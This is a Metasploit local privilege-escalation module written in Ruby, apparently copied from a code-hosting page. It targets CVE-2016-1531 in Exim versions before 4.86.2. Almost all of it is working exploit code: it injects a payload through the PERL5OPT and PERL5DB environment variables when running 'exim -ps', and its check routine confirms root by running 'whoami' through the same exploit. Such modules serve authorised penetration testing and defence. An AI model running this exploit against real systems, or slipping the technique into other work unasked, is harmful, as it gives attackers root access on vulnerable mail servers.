62 lines
1.6 KiB
Ruby
62 lines
1.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Exim "perl_startup" Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a Perl injection vulnerability in Exim < 4.86.2
|
|
given the presence of the "perl_startup" configuration parameter.
|
|
},
|
|
'Author' => [
|
|
'Dawid Golunski', # Vulnerability discovery
|
|
'wvu' # Metasploit module
|
|
],
|
|
'References' => [
|
|
%w[CVE 2016-1531],
|
|
%w[EDB 39549],
|
|
%w[URL http://www.exim.org/static/doc/CVE-2016-1531.txt]
|
|
],
|
|
'DisclosureDate' => '2016-03-10',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'SessionTypes' => %w[shell meterpreter],
|
|
'Privileged' => true,
|
|
'Payload' => {
|
|
'BadChars' => "\x22\x27" # " and '
|
|
},
|
|
'Targets' => [
|
|
['Exim < 4.86.2', {}]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def check
|
|
if exploit('whoami') == 'root'
|
|
CheckCode::Vulnerable
|
|
else
|
|
CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit(cmd = payload.encoded)
|
|
# PERL5DB technique from http://perldoc.perl.org/perlrun.html
|
|
cmd_exec(%(PERL5OPT=-d PERL5DB='exec "#{cmd}"' exim -ps 2>&-))
|
|
end
|
|
end
|